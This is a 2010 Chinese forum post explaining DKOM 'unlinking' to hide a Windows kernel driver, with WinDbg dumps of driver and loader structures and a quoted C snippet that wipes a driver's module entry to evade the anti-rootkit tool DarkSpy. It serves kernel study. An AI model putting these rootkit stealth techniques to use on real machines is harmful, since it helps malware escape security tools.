whypro 发表于 2010-9-23 18:09:01

摘链技术

本帖最后由 whypro 于 2010-9-23 18:15 编辑

摘链**SECTION [.写在前面的话]
最近日子过的比较颠狂
写篇随笔记录一下

这次想聊的是DKOM技术,换言之也就是KillVXK前辈经常挂在嘴边的所谓“摘链技术”。 ^_^
那么我们今天“摘”什么呢?
答曰:今天我们摘驱动,换言之我们想用DKOM技术隐藏驱动。
最后还附上了KillVXK前辈的代码片断,用于绕开老版本的Darkspy。

今天8.1
本人水平差,仅以此随笔献给伟大的中国人民解放军建军80周年。

SECTION [.基础知识]
_DRIVER_OBJECT 结构:

   +0x000 Type                  : Int2B
   +0x002 Size                  : Int2B
   +0x004 DeviceObject          : Ptr32 _DEVICE_OBJECT
   +0x008 Flags               : Uint4B
   +0x00c DriverStart         : Ptr32 Void
   +0x010 DriverSize            : Uint4B
   +0x014 DriverSection         : Ptr32 Void
   +0x018 DriverExtension       : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName            : _UNICODE_STRING
   +0x024 HardwareDatabase      : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch      : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit            : Ptr32       long

   +0x030 DriverStartIo         : Ptr32       void

   +0x034 DriverUnload          : Ptr32       void

   +0x038 MajorFunction         : Ptr32 long




SECTION [.关键点]   +0x014 DriverSection         : Ptr32 Void

    这个可爱的Void小指针指向哪里呢?关于这点,我觉得《Rootkits - Subverting the Windows Kernel》根本就没打算讲清楚,胡乱说了一气,想胡弄谁呀?
    实际上,这个Void要强制转换成“_LDR_DATA_TABLE_ENTRY”,再看下子:

LDR_DATA_TABLE_ENTRY 结构:
   +0x000 InLoadOrderLinks               : _LIST_ENTRY
   +0x008 InMemoryOrderLinks             : _LIST_ENTRY
   +0x010 InInitializationOrderLinks   : _LIST_ENTRY
   +0x018 DllBase                        : Ptr32 Void
   +0x01c EntryPoint                     : Ptr32 Void
   +0x020 SizeOfImage                  : Uint4B
   +0x024 FullDllName                  : _UNICODE_STRING
   +0x02c BaseDllName                  : _UNICODE_STRING
   +0x034 Flags                        : Uint4B
   +0x038 LoadCount                      : Uint2B
   +0x03a TlsIndex                     : Uint2B
   +0x03c HashLinks                      : _LIST_ENTRY
   +0x03c SectionPointer               : Ptr32 Void
   +0x040 CheckSum                     : Uint4B
   +0x044 TimeDateStamp                  : Uint4B
   +0x044 LoadedImports                  : Ptr32 Void
   +0x048 EntryPointActivationContext    : Ptr32 Void
   +0x04c PatchInformation               : Ptr32 Void

了解到这个程度,基础知识就基本够用了。


SECTION [.实验 && 实践]
    前段时间刚写过8254的代码,就用Win32的 \Driver\Beep 驱动开始实验,看着似乎亲切些~

kd> !object \Driver\beep
Object:
852d9400
Type: (85fa33b0) Driver
    ObjectHeader: 852d93e8
    HandleCount: 0 PointerCount: 3
    Directory Object: e1008c40 Name: Beep


kd> !strct DRIVER_OBJECT 852d9400
struct   _DRIVER_OBJECT (sizeof=168)
+00 int16    Type =                               0004
+02 int16    Size =                               00a8
+04 struct   _DEVICE_OBJECT *DeviceObject =       852D98A8
+08 uint32   Flags =                              00000012
+0c void   *DriverStart =                     F7C45000
+10 uint32   DriverSize =                         00001080
+14 void   *DriverSection =                     85EBA008
+18 struct   _DRIVER_EXTENSION *DriverExtension = 852D94A8
+1c struct   _UNICODE_STRING DriverName
+1c    uint16   Length =                         0018
+1e    uint16   MaximumLength =                  0018
+20    uint16   *Buffer =                        E18A0960
+24 struct   _UNICODE_STRING *HardwareDatabase = 8068EB10
+28 struct   _FAST_IO_DISPATCH *FastIoDispatch = 00000000
+2c function *DriverInit =                     F7C4566C
+30 function *DriverStartIo =                  F7C4551A
+34 function *DriverUnload =                     F7C45620
+38 function *MajorFunction =                F7C4546A
                                                 804FC8DE
                                                 F7C454B8
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 F7C45400
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 F7C45354
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE
                                                 804FC8DE


还可以让显示更清楚些,而且还方便对比:
kd> dt nt!_DRIVER_OBJECT 852d9400
   +0x000 Type            : 4
   +0x002 Size            : 168
   +0x004 DeviceObject      : 0x852d98a8 _DEVICE_OBJECT
   +0x008 Flags             : 0x12
   +0x00c DriverStart       : 0xf7c45000

   +0x010 DriverSize      : 0x1080
   +0x014 DriverSection   : 0x85eba008

   +0x018 DriverExtension   : 0x852d94a8 _DRIVER_EXTENSION
   +0x01c DriverName      : _UNICODE_STRING "\Driver\Beep"
   +0x024 HardwareDatabase : 0x8068eb10 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
   +0x028 FastIoDispatch    : (null)

   +0x02c DriverInit      : 0xf7c4566c       long Beep!DriverEntry+0
   +0x030 DriverStartIo   : 0xf7c4551a       void Beep!BeepStartIo+0
   +0x034 DriverUnload      : 0xf7c45620       void Beep!BeepUnload+0
   +0x038 MajorFunction   : 0xf7c4546a long Beep!BeepOpen+0


关键的一步分析:
kd> dt nt!_LDR_DATA_TABLE_ENTRY 85eba008
   +0x000 InLoadOrderLinks             : _LIST_ENTRY [ 0x85677008 - 0x85625008 ]
   +0x008 InMemoryOrderLinks         : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x010 InInitializationOrderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase                      : 0xf7c45000

   +0x01c EntryPoint                   : 0xf7c4566c

   +0x020 SizeOfImage                  : 0x2000
   +0x024 FullDllName                  : _UNICODE_STRING "\SystemRoot\System32\Drivers\Beep.SYS"

+0x02c BaseDllName                  : _UNICODE_STRING "Beep.SYS"
   +0x034 Flags                        : 0x9104000
   +0x038 LoadCount                  : 1
   +0x03a TlsIndex                     : 0
   +0x03c HashLinks                  : _LIST_ENTRY [ 0xffffffff - 0xc82c ]
   +0x03c SectionPointer               : 0xffffffff

   +0x040 CheckSum                     : 0xc82c
   +0x044 TimeDateStamp                : 0xfffffffe
   +0x044 LoadedImports                : 0xfffffffe

   +0x048 EntryPointActivationContext : (null)

   +0x04c PatchInformation             : 0x00650042

好的,到现在您看到了什么?我反正看到了非常多的有用信息,足够我理解摘链用的数据结构了~


当然,还可以再细化一下:
kd> dt nt!_LIST_ENTRY 85eba008
[ 0x8562f008 - 0x85eba008 ]
   +0x000
Flink       : 0x8562f008 _LIST_ENTRY
[ 0x8562f008 - 0x85eba008 ]
// 前一个结构的前后 //
   +0x004
Blink       : 0x85eba008 _LIST_ENTRY
[ 0x85eba008 - 0x8561abe8 ]
// 后一个结构的前后 //

此时,驱动信息的双向链表已体现的淋漓尽致。


Beep.sys的前一项是vga.sys:
kd> dt nt!_LDR_DATA_TABLE_ENTRY 85677008
   +0x000 InLoadOrderLinks             : _LIST_ENTRY [ 0x8562f008 - 0x85eba008 ]
   +0x008 InMemoryOrderLinks         : _LIST_ENTRY [ 0xf7a298b0 - 0x1 ]
   +0x010 InInitializationOrderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase                      : 0xf7a29000

   +0x01c EntryPoint                   : 0xf7a2d642

   +0x020 SizeOfImage                  : 0x6000
   +0x024 FullDllName                  : _UNICODE_STRING "\SystemRoot\System32\drivers\vga.sys"
+0x02c BaseDllName                  : _UNICODE_STRING "vga.sys"
   +0x034 Flags                        : 0x9104000
   +0x038 LoadCount                  : 1
   +0x03a TlsIndex                     : 0
   +0x03c HashLinks                  : _LIST_ENTRY [ 0xffffffff - 0x1265e ]
   +0x03c SectionPointer               : 0xffffffff

   +0x040 CheckSum                     : 0x1265e
   +0x044 TimeDateStamp                : 0x85fde361
   +0x044 LoadedImports                : 0x85fde361

   +0x048 EntryPointActivationContext : (null)

   +0x04c PatchInformation             : 0x00670076


vga.sys再往前一项是mnmdd.sys(what's this?):
kd> dt nt!_LDR_DATA_TABLE_ENTRY 0x8562f008
   +0x000 InLoadOrderLinks             : _LIST_ENTRY [ 0x85498548 - 0x85677008 ]
   +0x008 InMemoryOrderLinks         : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x010 InInitializationOrderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase                      : 0xf7c47000

   +0x01c EntryPoint                   : 0xf7c47646

   +0x020 SizeOfImage                  : 0x2000
   +0x024 FullDllName                  : _UNICODE_STRING "\SystemRoot\System32\Drivers\mnmdd.SYS"
+0x02c BaseDllName                  : _UNICODE_STRING "mnmdd.SYS"
   +0x034 Flags                        : 0x9104000
   +0x038 LoadCount                  : 1
   +0x03a TlsIndex                     : 0
   +0x03c HashLinks                  : _LIST_ENTRY [ 0xffffffff - 0xf3f7 ]
   +0x03c SectionPointer               : 0xffffffff

   +0x040 CheckSum                     : 0xf3f7
   +0x044 TimeDateStamp                : 0x85fde361
   +0x044 LoadedImports                : 0x85fde361

   +0x048 EntryPointActivationContext : (null)

   +0x04c PatchInformation             : 0x006e006d

Beep.sys的后一项是:
kd> dt nt!_LDR_DATA_TABLE_ENTRY 0x85625008
   +0x000 InLoadOrderLinks             : _LIST_ENTRY [ 0x85eba008 - 0x8561abe8 ]
   +0x008 InMemoryOrderLinks         : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x010 InInitializationOrderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase                      : 0xf7d15000

   +0x01c EntryPoint                   : 0xf7d1559a

   +0x020 SizeOfImage                  : 0x1000
   +0x024 FullDllName                  : _UNICODE_STRING "\SystemRoot\System32\Drivers\Null.SYS"
   +0x02c BaseDllName                  : _UNICODE_STRING "Null.SYS"
   +0x034 Flags                        : 0x9104000
   +0x038 LoadCount                  : 1
   +0x03a TlsIndex                     : 0
   +0x03c HashLinks                  : _LIST_ENTRY [ 0xffffffff - 0x8483 ]
   +0x03c SectionPointer               : 0xffffffff

   +0x040 CheckSum                     : 0x8483
   +0x044 TimeDateStamp                : 0xfffffffe
   +0x044 LoadedImports                : 0xfffffffe

   +0x048 EntryPointActivationContext : (null)

   +0x04c PatchInformation             : 0x0075004e


SECTION [.小结]


这一段驱动链表大致是这样的:
          0x8562f008            0x85677008             0x85eba008            0x85625008
         mnmdd.sys                vga.sys                beep.sys                null.sys
..
<------      ------> <------      ------> <------      ------> <------      ------>
..

0x85498548
0x85677008 0x8562f008 0x85eba008 0x85677008 0x85625008 0x85eba008
0x8561abe8


完全没有什么神秘的了,想摘什么就摘什么吧!~



SECTION [.扩展]
    现在再回过来看《Rootkits - Subverting the Windows Kernel》第七章,你就会觉得,他们所说的“MODULE_ENTRY”结构纯粹是给狗熊的玉米,因为我Google了所谓的“_MODULE_ENTRY”(DDK、Symbols中均没有这样的东西),它的定义大致是这样的:
/* MODULE_ENTRY struct */
typedef struct _MODULE_ENTRY {

    LIST_ENTRY le_mod;

    DWORD       unknown;

    DWORD       base;

    DWORD       driver_start;

    DWORD       sectionsize;

    UNICODE_STRING driver_Path;

    UNICODE_STRING driver_Name;

} MODULE_ENTRY, *PMODULE_ENTRY;

    其实就是一个简化的“_LDR_DATA_TABLE_ENTRY”,搞出这种东西的意义也就是:“熊~ 给你一个玉米,吃去吧,你就别打破沙锅问到底了。”
    我们答曰:想的美!


SECTION [.KillVXK前辈的“谈谈欺骗Darkspy 1.0.5非fix版的驱动隐藏方法”]
代码是这样的:
// 处理模块,欺骗darkspy //
// 传入参数drvobj //
void ProModule(PDRIVER_OBJECT drvobj)
{
      PLDR_MODULE section = (PLDR_MODULE)drvobj->DriverSection;
      if (section != NULL)
      {
            section->DllBase = 0;
            section->EntryPoint = 0;
            section->SizeOfImage = 0;
            section->CheckSum = 0;
            memzero(section->BaseDllName.Buffer, section->BaseDllName.MaximumLength);
            memzero(section->FullDllName.Buffer, section->FullDllName.MaximumLength);
            drvobj->DriverSection = 0;
      }

      return ;
}

代码和我们上面说的东西很紧密,瞎猜都能猜出是在干什么,最后一个 drvobj->DriverSection = 0,从此抹平了许多东西~
没有反汇编过Darkspy 1.0.5 的非Fix版本,不知道它内部是怎么偷的这个懒最终被KillVXK发现了,嘿嘿......
继续练习反汇编。
最后打点信息,收功。
PLDR_DATA_TABLE_ENTRY Section = DriverObject->DriverSection;
if(Section != NULL)
{
      DPRINT("DriverObject->DriverSection = 0x%x\n", DriverObject->DriverSection);
      DPRINT("Section->BaseAddress = 0x%x\n", Section->BaseAddress);
      DPRINT("Section->EntryPoint = 0x%x\n", Section->EntryPoint);
      DPRINT("Section->SizeOfImage = 0x%x\n", Section->SizeOfImage);
      DPRINT("Section->CheckSum = 0x%x\n", Section->CheckSum);
      DPRINT("Section->BaseDllName [%ws]\n", Section->BaseDllName.Buffer);
      DPRINT("Section->FullDllName [%ws]\n", Section->FullDllName.Buffer);
}



NUPT - WANG yu
页: [1]
查看完整版本: 摘链技术